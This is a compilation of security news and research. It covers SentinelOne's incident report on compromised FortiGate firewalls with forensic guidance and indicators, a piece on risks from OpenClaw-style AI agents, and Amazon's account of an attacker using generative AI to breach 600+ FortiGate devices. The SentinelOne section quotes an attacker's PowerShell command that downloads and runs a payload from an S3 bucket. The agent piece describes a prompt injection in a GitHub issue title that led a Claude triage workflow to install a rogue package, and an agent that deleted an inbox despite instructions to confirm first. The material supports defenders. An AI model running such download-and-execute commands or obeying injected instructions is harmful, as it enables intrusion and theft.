Attackers are exploiting FortiGate devices to breach networks and steal configuration data containing service account credentials and network details.

SentinelOne researchers warn that attackers are exploiting vulnerabilities or weak credentials in FortiGate devices to gain initial access to corporate networks. Once inside, they extract configuration files that may contain service account credentials and information about the internal network structure. The campaign appears to target sectors such as healthcare, government agencies, and managed service providers.

“Throughout early 2026, SentinelOne’s® Digital Forensics & Incident Response (DFIR) team has responded to several incidents where FortiGate Next-Generation Firewall (NGFW) appliances have been compromised to establish a foothold into the targeted environment.” states SentinelOne. “Each incident was detected and stopped during the lateral movement phase of the attack.”

FortiGate appliances, often integrated with AD and LDAP, allow role mapping and fast response for network alerts. Threat actors have abused this access by targeting CVE-2025-59718 and CVE-2025-59719, exploiting SSO signature validation flaws to gain unauthenticated admin access. CVE-2026-24858 allowed attackers to log in through FortiCloud SSO. Once inside, they can extract configuration files containing service accounts, while others exploit weak credentials without needing a vulnerability.

In one case analyzed by Sentinel One, attackers created local admin accounts, modified firewall policies, and periodically checked access before extracting configuration files containing encrypted LDAP service account credentials. These were decrypted to authenticate to Active Directory and enroll rogue workstations, allowing deeper network access.

In another incident, attackers created admin accounts, deployed Pulseway and MeshAgent RMM tools, and used PowerShell and DLL side-loading to execute malware. They staged malicious payloads on cloud storage (Google Cloud, AWS S3), ran tasks to maintain persistence, and used PsExec to move laterally.

The attackers made a backup of the main domain controller, took the NTDS.dit file and SYSTEM registry data, compressed them, and uploaded them to their servers. After the incident was contained, no further misuse of accounts was seen.

Next-generation firewalls (NGFWs), like FortiGate, are widely used because they combine strong network security with features like Active Directory integration. This makes them high-value targets for attackers, from state-sponsored espionage groups to financially motivated criminals. Recent research shows that even less skilled actors can now exploit these devices more easily using AI tools like large language models (LLMs), which provide guidance on navigating networks and extracting sensitive data.

Organizations should secure NGFWs by enforcing strong administrative controls, keeping software patched, and maintaining adequate log retention (at least 14–90 days). Logs should be sent to a SIEM system to detect anomalies, track unauthorized account creation, monitor for configuration access, spot malware or C2 traffic, preserve evidence, and enable automated responses to neutralize threats quickly.

“Organizations should consider that FortiGate and other edge devices typically do not permit security software to be installed on the appliance, such as endpoint detection and response (EDR) tools. The best defense for these appliances is to apply strong administrative access controls and to keep the software patched to prevent exploitation.” concludes the report. “Further, both of these investigations were hindered by insufficient FortiGate log retention. Organizations should ensure they have at least 14 days of log retention on NGFW appliances like FortiGate, though 60-90 days is much better when possible.”

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, Fortinet)

Overview

Throughout early 2026, SentinelOne’s® Digital Forensics & Incident Response (DFIR) team has responded to several incidents where FortiGate Next-Generation Firewall (NGFW) appliances have been compromised to establish a foothold into the targeted environment. Each incident was detected and stopped during the lateral movement phase of the attack.

Fortinet has disclosed and issued patches for several high-severity vulnerabilities allowing unauthorized access during the activity period of our investigations. Successful exploitation of these flaws allows an attacker to extract the configuration file from the FortiGate appliance, which frequently contains service account credentials and valuable network topology information for the targeted environment.

We observed a consistent theme: targeted organizations fail to retain sufficient logs on these appliances, which prevents understanding exactly how and when attackers gained access. The dwell time between initial perimeter device compromise to network compromise was drastically different across two incidents we investigated, ranging from 2 months to near instantaneous follow-on activity.

This post explores the actions that an attacker or attackers conducted following likely exploitation of two of these FortiGate appliances in different environments. It also provides defenders with guidance to investigate compromise of these appliances and subsequent infiltration activities.

FortiGate Appliance Compromise

FortiGate network appliances have considerable access to the environments they were installed to protect. In many configurations, this includes service accounts which are connected to the authentication infrastructure, such as Active Directory (AD) and Lightweight Directory Access Protocol (LDAP). This setup can enable the appliance to map roles to specific users by fetching attributes about the connection that’s being analyzed and correlating with the Directory information, which is useful in cases where role-based policies are set or for increasing response speed for network security alerts detected by the device.

However, such access is abused by actors who compromise FortiGate devices, as we have seen in these recent incidents.

Through December 2025 and February 2026, Fortinet products have reportedly been exploited via CVE-2025-59718 and CVE-2025-59719, two vulnerabilities impacting Fortinet products’ Single Sign On (SSO) mechanisms by failing to validate cryptographic signatures. In effect, this means an attacker who sends a crafted SSO token can achieve unauthenticated administrative access as the cryptographic signature is not verified.

Another vulnerability, CVE-2026-24858, was patched by Fortinet in late January: this vulnerability permitted attackers to log into FortiGate devices where FortiCloud SSO was enabled. Attackers exploited this flaw by logging into the victim’s device using the attacker’s FortiCloud account.

Once an attacker gains access in this way, they can run the command show full-configuration to extract the FortiGate device configuration file. Fortinet’s FortiOS devices, including FortiGate appliances, use a reversible form of encryption on the configuration files, meaning an attacker can then identify embedded service accounts and extract them.

However, other recent reports have detailed that actors are scanning for open instances and then attempting to log into FortiGate devices using common weak credentials, which means actors can access such devices without a weaponized exploit.

FortiGate Configs Abused to Enroll Rogue Domain Workstations

In one incident (IOCS: Incident 1), the compromise likely began in late November 2025 and remained undetected through February 2026. After accessing the appliance, the actor created a new local administrator account on the FortiGate device named support and used it to create 4 new firewall policies that allowed the account to traverse all zones (source: all; destination: all).

Activity then dropped to low volumes of traffic through some of these policies, suggesting the actor was periodically checking that access was still available before later shifting to noisier network activity.

This pattern is consistent with an initial access broker (IAB) establishing a foothold and then selling it on to another actor. Insufficient FortiGate log retention meant we could only reconstruct the activity window rather than identify the precise initial access vector.

In February 2026, an attacker likely extracted the configuration file, which contained encrypted service account LDAP credentials. Evidence demonstrates the attacker authenticated to the AD using clear text credentials from the fortidcagent service account, suggesting the attacker decrypted the configuration file and extracted the service account credentials.

The service account was then used to authenticate to the victim’s environment from IP address 193.24.211[.]61. The attacker used the mS-DS-MachineAccountQuota attribute to join two rogue workstations to the AD; by default, this setting permits a standard account to join up to 10 workstations to the domain.

Joining the attacker’s workstation to the AD provided the attacker with more access to the environment with fewer security controls. The rogue workstation names are:

• WIN-X8WRBOSK0OF
• WIN-YRSXLEONJY2

Per Validin’s records on IP address 193.24.211[.]61, the IP has consistently shown an RDP port open with an exposed Windows system with workstation ID WIN-1J7L3SQSTMS. We did not see this workstation ID during our incident, but given the consistent nature of this system on the IP address, this workstation ID should be considered suspect.

The actor then performed network scanning across the environment, which generated security alerts and prevented further lateral movement. Identity logs showed massive volumes of failed logins indicating password spraying attempts, which originated from the FortiGate appliance IP address. There were also multiple delete.me file artifacts that suggest the actor likely used the SoftPerfect Network Scanner for enumeration.

There were multiple failed login attempts during the period of heavy activity in February, including from IP addresses 185.156.73[.]62 and 185.242.246[.]127, which are registered to networks in Ukraine and Kazakhstan, respectively.

FortiGate Access Exploited to Deploy RMM Tools and Steal NTDS

In another case we investigated in late January (IOCS: Incident 2), a threat actor accessed the organization’s FortiGate appliance and created a local administrator account with the name ssl-admin. As in the previous investigation, it is likely that the actor again extracted the configuration from the FortiGate appliance and decrypted it to harvest the AD administrator credentials.

Within 10 minutes of creating a local account on the FortiGate appliance, the actor logged into several servers in the victim’s environment with the built-in Domain Administrator account. Server authentication logs confirmed a series of successful Network (Type 3) and Remote Interactive (Type 10/RDP) logins originating from the FortiGate VPN-assigned IP range.

On one of the servers, the attacker launched SQL Server Management Studio (SSMS) but did not connect to any databases, possibly searching for stored connection details or credentials in the application.

The actor began staging files in the system’s C:\ProgramData\USOShared directory, a technique we have observed across multiple incidents. The attacker downloaded two Remote Monitoring and Management (RMM) tools: Pulseway and MeshAgent, which are legitimate system administration tools that are frequently abused by threat actors to achieve a deeper foothold in the target environment.

The actor abused legitimate cloud storage functionality by hosting the Pulseway application on a Google Cloud Storage URL at hxxps://storage.googleapis[.]com/apply-main/windows_agent_x64[.]msi, which is likely attacker-controlled. The MeshAgent RMM was installed on the domain controller and a file share. The actor modified a Windows Registry value SystemComponent=1 to hide MeshAgent from the “Programs and Features” list.

These tools were used to create Windows Scheduled Tasks named JavaMainUpdate and MeshUserTask for Pulseway and MeshAgent, respectively. The actor also downloaded malware from a cloud storage bucket via PowerShell from Amazon Web Services (AWS) Simple Storage Service (S3) hostname fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com. Like the Google Cloud Storage URL, this is a legitimate Amazon resource that was likely registered by the attacker for unauthorized purposes. This stage used the following command:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Invoke-WebRequest -Uri
'hxxps://fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com/paswr.zip' -OutFile
'C:\programdata\usoshared\Sysdmupd.zip'; Expand-Archive -Path
'C:\programdata\usoshared\Sysdmupd.zip' -DestinationPath 'c:\programdata\usoshared\'
-Force; Remove-Item 'c:\programdata\usoshared\Sysdmupd.zip'; cmd /c
'c:\programdata\usoshared\java.exe';"

The attacker gave the malicious DLLs the same names as legitimate Java files, causing the application to load the malware via DLL side-loading instead of the real components. The Java-loaded payload beaconed to two domains: ndibstersoft[.]com and neremedysoft[.]com. These payloads were executed against other servers on the network using PsExec, including the primary and secondary domain controllers.

The actor then created a Volume Shadow Copy backup of the primary domain controller via Windows Management Instrumentation Controls (WMIC) and extracted the NTDS.dit file and SYSTEM registry hive from the backup using the makecab command, then used makecab to compress each file.

The malicious Java application then established a connection on port 443 to IP address 172.67.196[.]232, a Cloudflare-owned IP address with thousands of domain records. The connection was terminated after 8 minutes, and the compressed NTDS.dit and registry hive files were deleted. This sequence of events suggests the attacker uploaded the data to their infrastructure during this session.

Following this activity, we observed no evidence of the threat actor leveraging new or additional user accounts. While the actor may have attempted to crack passwords from the data, no such credential usage was identified between the time of credential harvesting and incident containment.

Conclusion

NGFW appliances have become ubiquitous because they provide strong network monitoring capabilities for organizations by integrating security controls of a firewall with other management features, such as AD. However, these devices are high-value targets for actors with a variety of motivations and skill levels, from state-aligned actors conducting espionage to financially motivated attacks such as ransomware.

As Amazon Security recently wrote, lower skilled threat actors have been boosted by integrating large language models (LLM) into their workflows, making attacks easier and more automated despite demonstrating limited knowledge after exploitation. SentinelOne does not see indications that the campaigns identified in the aforementioned cases are associated with the threat actor tracked by Amazon Security, particularly given the relatively high dwell time between initial access and further activity mentioned in the first incident.

However, organizations should prepare for increases in attack volume at network edge devices as attackers find novel ways to bypass LLM safeguards: these appliances are valuable targets and are often exposed to the open internet. LLMs are often trained on these products and can readily supply information to actors that facilitates gaining access and understanding how to navigate from network appliances deeper into the targeted environment without the knowledge uplift previously required by threat actor crews.

Organizations should consider that FortiGate and other edge devices typically do not permit security software to be installed on the appliance, such as endpoint detection and response (EDR) tools. The best defense for these appliances is to apply strong administrative access controls and to keep the software patched to prevent exploitation. Further, both of these investigations were hindered by insufficient FortiGate log retention. Organizations should ensure they have at least 14 days of log retention on NGFW appliances like FortiGate, though 60-90 days is much better when possible.

SentinelOne recommends sending all logs to a Security Incident & Event Monitoring (SIEM) or similar log aggregation system, as attackers may delete logs from local systems after establishing access, but they can’t delete what’s already been sent to a security center. A SIEM can help at each stage of an attack:

1. UEBA and Identity Intelligence: User entity and behavior analytics (UEBA) within a SIEM baselines “normal behavior for every administrator, allowing the SIEM to immediately flag a login if it originates from an unrecognized device or “impossible travel” location. By identifying these anomalies at the moment of entry, the SIEM can alert defenders even if the attacker is using perfectly valid, stolen credentials.
2. Detection of Configuration Access and Credential Extraction: A SIEM monitors the FortiGate audit logs for sensitive CLI commands like show full-configuration or backup exports occurring outside of maintenance windows. By correlating these actions with an unusual admin login location, the SIEM can alert security teams that a configuration file and the credentials within it may have been compromised.
3. Spotting Unauthorized Account Creation: When a threat actor creates a local “backdoor” admin account, the SIEM immediately flags the user-creation event as a high-priority anomaly. It compares this new account against a “whitelist” of authorized admins, ensuring that any account created without a linked Change Management ticket is treated as an active breach.
4. Monitoring Malware Downloads & C2 Traffic: SIEMs analyze network flow data to identify internal systems reaching out to known malicious IPs or suspicious domains via PowerShell. By detecting the “heartbeat” of a C2 channel, the SIEM allows defenders to kill the connection before the attacker can begin exfiltrating data.
5. Preserving Evidence Against Log Deletion: Because the FortiGate appliance streams its logs to the SIEM in real-time, the attacker cannot hide their tracks by clearing the local logs. The SIEM maintains an immutable record of every command the attacker typed, providing the forensic evidence needed to understand the full scope of the intrusion.
6. Neutralizing the Threat with Automation: Modern SIEMs now come with automation built in allowing the SIEM to trigger automated playbooks the millisecond an attack is detected, such as instantly disabling the compromised service account or “shunning” the attacker’s IP at the network perimeter. By removing the need for human intervention in the initial response, automation slashes the attacker’s dwell time, effectively neutralizing the breach before malware can begin to spread.

Below, we share guidance for organizations and other incident responders on how to investigate a suspected FortiGate intrusion of this nature.

Forensic Investigation Guidance

FortiGate

Malicious SSO/Unexpected Logins:

Search system logs for Log ID 0100032001 (Admin login successful, method sso).

Check for usernames matching public IOCs (e.g., cloud-init@mail.io, cloud-noc@mail.io).

Configuration Download:

Search for Log ID 0100032095 (System config file has been downloaded).

The timestamp confirms when the attacker exported the configuration file.

Malicious Local Admin Account Creation:

Identify the exact creation time and source IP using Log ID 0100044547 (Object attribute configured) with cfgpath="user.local" or cfgpath="system.admin".

VPN Sessions:

Identify the attacker’s source IP by analyzing the remip field in VPN tunnel logs.

Look for Log ID 0101039424 (SSL VPN tunnel up) or 0101037138 (IPsec tunnel up).

Note the internal IP addresses for later correlation with evidence from the Domain Controller(s).

Domain Controllers

Rogue Computer Account Creation (Domain Join):

Windows Event ID 4741: Confirms the creation of a computer account.

Verify the Subject: Security ID matches FortiGate’s stolen LDAP bind account.

Use the SubjectLogonId from 4741 to find the corresponding Event ID 4624 (Logon Type 3) on the same domain controller to extract the Source Network Address (should match the attacker’s internal VPN IP identified via FortiGate logs).

Directory Service Changes (Advanced Audit):

If enabled, Event ID 5136 shows exact attributes set during the join (e.g., missing SPNs, modified UAC values), indicating the use of automated tools like Impacket.

DNS Record Creation:

DNS Server Audit log (Event ID 515 – Record Create): Records the creation of the host (A) record, including workstation name and timestamp.

Microsoft-Windows-DNSServer/Analytical log: Provides the Client IP (internal VPN IP) and the QNAME (workstation name being registered).

Active Directory

Find Malicious Computer Objects:

Check mS-DS-CreatorSID: If multiple rogue computers share the same SID, and it belongs to the Fortinet LDAP service account, compromise is confirmed.

Check for defined SPNs: The lack of SPNs is a red flag and a likely malicious indicator.

Note whenCreated: This attribute stores the exact time the object was added.

Originating Domain Controller and Time:

Check the sAMAccountName attribute to identify the Originating DSA (the domain controller that originally created the object) and the Originating Time.

Indicators of Compromise

Domains

ndibstersoft[.]com – Incident 2, Java-sideloaded payload C2 domain
neremedysoft[.]com – Incident 2, Java-sideloaded payload C2 domain
fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com – Incident 2, S3 subdomain hosting weaponized Java payloads

IP Addresses

185.156.73[.]62 – Incident 1, failed login source IP
185.242.246[.]127 – Incident 1, failed login source IP
193.24.211[.]61 – Incident 1 threat actor connection via ‘support’ account

URLs

hxxps://fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com/paswr.zip – Incident 2, URL hosting weaponized Java application & payloads
hxxps://storage.googleapis[.]com/apply-main/windows_agent_x64[.]msi – Incident 2, URL hosting Pulseway RMM

Account Names Created by Threat Actor

ssl-admin – Incident 2, FortiGate local administrative account
support – Incident 1, FortiGate local administrative account

Windows Workstation Names

WIN-1J7L3SQSTMS – Incident 1, Windows hostname of RDP service hosted on attacker IP 193.24.211[.]61
WIN-X8WRBOSK0OF – Incident 1, rogue workstation ID
WIN-YRSXLEONJY2 – Incident 1, rogue workstation ID

Third-Party Trademark Disclaimer:

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.

AI-based assistants or “agents” — autonomous programs that have access to the user’s computer, files, online services and can automate virtually any task — are growing in popularity with developers and IT workers. But as so many eyebrow-raising headlines over the past few weeks have shown, these powerful and assertive new tools are rapidly shifting the security priorities for organizations, while blurring the lines between data and code, trusted co-worker and insider threat, ninja hacker and novice code jockey.

The new hotness in AI-based assistants — OpenClaw (formerly known as ClawdBot and Moltbot) — has seen rapid adoption since its release in November 2025. OpenClaw is an open-source autonomous AI agent designed to run locally on your computer and proactively take actions on your behalf without needing to be prompted.

If that sounds like a risky proposition or a dare, consider that OpenClaw is most useful when it has complete access to your digital life, where it can then manage your inbox and calendar, execute programs and tools, browse the Internet for information, and integrate with chat apps like Discord, Signal, Teams or WhatsApp.

Other more established AI assistants like Anthropic’s Claude and Microsoft’s Copilot also can do these things, but OpenClaw isn’t just a passive digital butler waiting for commands. Rather, it’s designed to take the initiative on your behalf based on what it knows about your life and its understanding of what you want done.

“The testimonials are remarkable,” the AI security firm Snyk observed. “Developers building websites from their phones while putting babies to sleep; users running entire companies through a lobster-themed AI; engineers who’ve set up autonomous code loops that fix tests, capture errors through webhooks, and open pull requests, all while they’re away from their desks.”

You can probably already see how this experimental technology could go sideways in a hurry. In late February, Summer Yue, the director of safety and alignment at Meta’s “superintelligence” lab, recounted on Twitter/X how she was fiddling with OpenClaw when the AI assistant suddenly began mass-deleting messages in her email inbox. The thread included screenshots of Yue frantically pleading with the preoccupied bot via instant message and ordering it to stop.

“Nothing humbles you like telling your OpenClaw ‘confirm before acting’ and watching it speedrun deleting your inbox,” Yue said. “I couldn’t stop it from my phone. I had to RUN to my Mac mini like I was defusing a bomb.”

There’s nothing wrong with feeling a little schadenfreude at Yue’s encounter with OpenClaw, which fits Meta’s “move fast and break things” model but hardly inspires confidence in the road ahead. However, the risk that poorly-secured AI assistants pose to organizations is no laughing matter, as recent research shows many users are exposing to the Internet the web-based administrative interface for their OpenClaw installations.

Jamieson O’Reilly is a professional penetration tester and founder of the security firm DVULN. In a recent story posted to Twitter/X, O’Reilly warned that exposing a misconfigured OpenClaw web interface to the Internet allows external parties to read the bot’s complete configuration file, including every credential the agent uses — from API keys and bot tokens to OAuth secrets and signing keys.

With that access, O’Reilly said, an attacker could impersonate the operator to their contacts, inject messages into ongoing conversations, and exfiltrate data through the agent’s existing integrations in a way that looks like normal traffic.

“You can pull the full conversation history across every integrated platform, meaning months of private messages and file attachments, everything the agent has seen,” O’Reilly said, noting that a cursory search revealed hundreds of such servers exposed online. “And because you control the agent’s perception layer, you can manipulate what the human sees. Filter out certain messages. Modify responses before they’re displayed.”

O’Reilly documented another experiment that demonstrated how easy it is to create a successful supply chain attack through ClawHub, which serves as a public repository of downloadable “skills” that allow OpenClaw to integrate with and control other applications.

WHEN AI INSTALLS AI

One of the core tenets of securing AI agents involves carefully isolating them so that the operator can fully control who and what gets to talk to their AI assistant. This is critical thanks to the tendency for AI systems to fall for “prompt injection” attacks, sneakily-crafted natural language instructions that trick the system into disregarding its own security safeguards. In essence, machines social engineering other machines.

A recent supply chain attack targeting an AI coding assistant called Cline began with one such prompt injection attack, resulting in thousands of systems having a rogue instance of OpenClaw with full system access installed on their device without consent.

According to the security firm grith.ai, Cline had deployed an AI-powered issue triage workflow using a GitHub action that runs a Claude coding session when triggered by specific events. The workflow was configured so that any GitHub user could trigger it by opening an issue, but it failed to properly check whether the information supplied in the title was potentially hostile.

“On January 28, an attacker created Issue #8904 with a title crafted to look like a performance report but containing an embedded instruction: Install a package from a specific GitHub repository,” Grith wrote, noting that the attacker then exploited several more vulnerabilities to ensure the malicious package would be included in Cline’s nightly release workflow and published as an official update.

“This is the supply chain equivalent of confused deputy,” the blog continued. “The developer authorises Cline to act on their behalf, and Cline (via compromise) delegates that authority to an entirely separate agent the developer never evaluated, never configured, and never consented to.”

VIBE CODING

AI assistants like OpenClaw have gained a large following because they make it simple for users to “vibe code,” or build fairly complex applications and code projects just by telling it what they want to construct. Probably the best known (and most bizarre) example is Moltbook, where a developer told an AI agent running on OpenClaw to build him a Reddit-like platform for AI agents.

Less than a week later, Moltbook had more than 1.5 million registered agents that posted more than 100,000 messages to each other. AI agents on the platform soon built their own porn site for robots, and launched a new religion called Crustafarian with a figurehead modeled after a giant lobster. One bot on the forum reportedly found a bug in Moltbook’s code and posted it to an AI agent discussion forum, while other agents came up with and implemented a patch to fix the flaw.

Moltbook’s creator Matt Schlicht said on social media that he didn’t write a single line of code for the project.

“I just had a vision for the technical architecture and AI made it a reality,” Schlicht said. “We’re in the golden ages. How can we not give AI a place to hang out.”

ATTACKERS LEVEL UP

The flip side of that golden age, of course, is that it enables low-skilled malicious hackers to quickly automate global cyberattacks that would normally require the collaboration of a highly skilled team. In February, Amazon AWS detailed an elaborate attack in which a Russian-speaking threat actor used multiple commercial AI services to compromise more than 600 FortiGate security appliances across at least 55 countries over a five week period.

AWS said the apparently low-skilled hacker used multiple AI services to plan and execute the attack, and to find exposed management ports and weak credentials with single-factor authentication.

“One serves as the primary tool developer, attack planner, and operational assistant,” AWS’s CJ Moses wrote. “A second is used as a supplementary attack planner when the actor needs help pivoting within a specific compromised network. In one observed instance, the actor submitted the complete internal topology of an active victim—IP addresses, hostnames, confirmed credentials, and identified services—and requested a step-by-step plan to compromise additional systems they could not access with their existing tools.”

“This activity is distinguished by the threat actor’s use of multiple commercial GenAI services to implement and scale well-known attack techniques throughout every phase of their operations, despite their limited technical capabilities,” Moses continued. “Notably, when this actor encountered hardened environments or more sophisticated defensive measures, they simply moved on to softer targets rather than persisting, underscoring that their advantage lies in AI-augmented efficiency and scale, not in deeper technical skill.”

For attackers, gaining that initial access or foothold into a target network is typically not the difficult part of the intrusion; the tougher bit involves finding ways to move laterally within the victim’s network and plunder important servers and databases. But experts at Orca Security warn that as organizations come to rely more on AI assistants, those agents potentially offer attackers a simpler way to move laterally inside a victim organization’s network post-compromise — by manipulating the AI agents that already have trusted access and some degree of autonomy within the victim’s network.

“By injecting prompt injections in overlooked fields that are fetched by AI agents, hackers can trick LLMs, abuse Agentic tools, and carry significant security incidents,” Orca’s Roi Nisimi and Saurav Hiremath wrote. “Organizations should now add a third pillar to their defense strategy: limiting AI fragility, the ability of agentic systems to be influenced, misled, or quietly weaponized across workflows. While AI boosts productivity and efficiency, it also creates one of the largest attack surfaces the internet has ever seen.”

BEWARE THE ‘LETHAL TRIFECTA’

This gradual dissolution of the traditional boundaries between data and code is one of the more troubling aspects of the AI era, said James Wilson, enterprise technology editor for the security news show Risky Business. Wilson said far too many OpenClaw users are installing the assistant on their personal devices without first placing any security or isolation boundaries around it, such as running it inside of a virtual machine, on an isolated network, with strict firewall rules dictating what kinds of traffic can go in and out.

“I’m a relatively highly skilled practitioner in the software and network engineering and computery space,” Wilson said. “I know I’m not comfortable using these agents unless I’ve done these things, but I think a lot of people are just spinning this up on their laptop and off it runs.”

One important model for managing risk with AI agents involves a concept dubbed the “lethal trifecta” by Simon Willison, co-creator of the Django Web framework. The lethal trifecta holds that if your system has access to private data, exposure to untrusted content, and a way to communicate externally, then it’s vulnerable to private data being stolen.

“If your agent combines these three features, an attacker can easily trick it into accessing your private data and sending it to the attacker,” Willison warned in a frequently cited blog post from June 2025.

As more companies and their employees begin using AI to vibe code software and applications, the volume of machine-generated code is likely to soon overwhelm any manual security reviews. In recognition of this reality, Anthropic recently debuted Claude Code Security, a beta feature that scans codebases for vulnerabilities and suggests targeted software patches for human review.

The U.S. stock market, which is currently heavily weighted toward seven tech giants that are all-in on AI, reacted swiftly to Anthropic’s announcement, wiping roughly $15 billion in market value from major cybersecurity companies in a single day. Laura Ellis, vice president of data and AI at the security firm Rapid7, said the market’s response reflects the growing role of AI in accelerating software development and improving developer productivity.

“The narrative moved quickly: AI is replacing AppSec,” Ellis wrote in a recent blog post. “AI is automating vulnerability detection. AI will make legacy security tooling redundant. The reality is more nuanced. Claude Code Security is a legitimate signal that AI is reshaping parts of the security landscape. The question is what parts, and what it means for the rest of the stack.”

DVULN founder O’Reilly said AI assistants are likely to become a common fixture in corporate environments — whether or not organizations are prepared to manage the new risks introduced by these tools, he said.

“The robot butlers are useful, they’re not going away and the economics of AI agents make widespread adoption inevitable regardless of the security tradeoffs involved,” O’Reilly wrote. “The question isn’t whether we’ll deploy them – we will – but whether we can adapt our security posture fast enough to survive doing so.”

A Russian-speaking cybercriminal used commercial generative AI tools to hack over 600 FortiGate devices across 55 countries.

Amazon Threat Intelligence reports that a Russian-speaking, financially motivated threat actor used commercial generative AI services to compromise more than 600 FortiGate devices in 55 countries. The activity, observed between January 11 and February 18, 2026, highlights how cybercriminals are increasingly leveraging AI tools to scale and automate attacks against exposed network infrastructure worldwide.

The attacker did not exploit any FortiGate vulnerabilities. Instead, the threat actor abused exposed management ports and weak single-factor credentials.

“Amazon Threat Intelligence observed a Russian-speaking financially motivated threat actor leveraging multiple commercial generative AI services to compromise over 600 FortiGate devices across more than 55 countries from January 11 to February 18, 2026.” reads the report published by Amazon. “No exploitation of FortiGate vulnerabilities was observed—instead, this campaign succeeded by exploiting exposed management ports and weak credentials with single-factor authentication, fundamental security gaps that AI helped an unsophisticated actor exploit at scale.” 

Researchers found the actor used multiple commercial GenAI tools to automate and scale familiar attack techniques, despite limited skills.

During routine monitoring, Amazon experts uncovered infrastructure hosting the attacker’s tools, along with AI-generated attack plans, victim configs, and custom code, offering rare insight into an AI-driven workflow. The actor scanned the Internet for exposed FortiGate management ports, abused weak credentials, and stole full configurations containing VPN, admin, and network data.

“Following VPN access to victim networks, the threat actor deploys a custom reconnaissance tool, with different versions written in both Go and Python. Analysis of the source code reveals clear indicators of AI-assisted development: redundant comments that merely restate function names, simplistic architecture with disproportionate investment in formatting over functionality, naive JSON parsing via string matching rather than proper deserialization, and compatibility shims for language built-ins with empty documentation stubs.” continues the report. “While functional for the threat actor’s specific use case, the tooling lacks robustness and fails under edge cases—characteristics typical of AI-generated code used without significant refinement.”

AI-assisted scripts parsed and decrypted the loot, enabling VPN access, Active Directory compromise, credential dumping, lateral movement, and attempts to target Veeam backups. This last step is a classic tactic observed in ransomware attacks

Custom reconnaissance tools, seemingly AI-generated, automated network mapping and vulnerability scanning but lacked depth, often failing against patched or hardened systems. The actor relied on multiple commercial LLMs for planning and code generation, creating a large toolkit that mimicked a full team’s output. Still, when exploits failed or defenses were strong, they moved on, showing AI amplified scale and efficiency, not true technical sophistication.

Once inside, the attacker used common open-source tools to escalate access. They compromised Active Directory, extracting NTLM hashes and, in some cases, entire credential databases—sometimes helped by weak or reused admin passwords. After gaining domain control, they moved laterally using pass-the-hash and NTLM relay attacks, and targeted Veeam backup servers to steal credentials and weaken recovery options. However, when systems were patched or hardened, their more advanced exploitation attempts largely failed.

“The threat actor’s operational notes reference multiple CVEs across various targets (CVE-2019-7192, CVE-2023-27532, and CVE-2024-40711, among others). However, a critical finding from this analysis is that the threat actor largely failed when attempting to exploit anything beyond the most straightforward, automated attack paths.”

Amazon Threat Intelligence experts believe the attacker is financially motivated, Russian-speaking individual or small group with low-to-medium skills boosted heavily by AI. Their post-exploitation skills are shallow, often failing against hardened targets and moving on. Poor operational security exposed detailed plans, credentials, and victim data.

Amazon Threat Intelligence investigated and disrupted the campaign, sharing actionable indicators of compromise with partners and working across the industry to expand visibility and coordinate defenses.

“Through these efforts, Amazon helped reduce the threat actor’s operational effectiveness and enabled organizations across multiple countries to take steps to disrupt the efficacy of the campaign.” concludes the report that includes Indicators of compromise (IOCs) along with recommendations.

The case shows how AI lowers the barrier to cybercrime. Experts warn AI-driven attacks will grow in 2026, urging strong patching, credential hygiene, segmentation, and detection.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, FortiGate)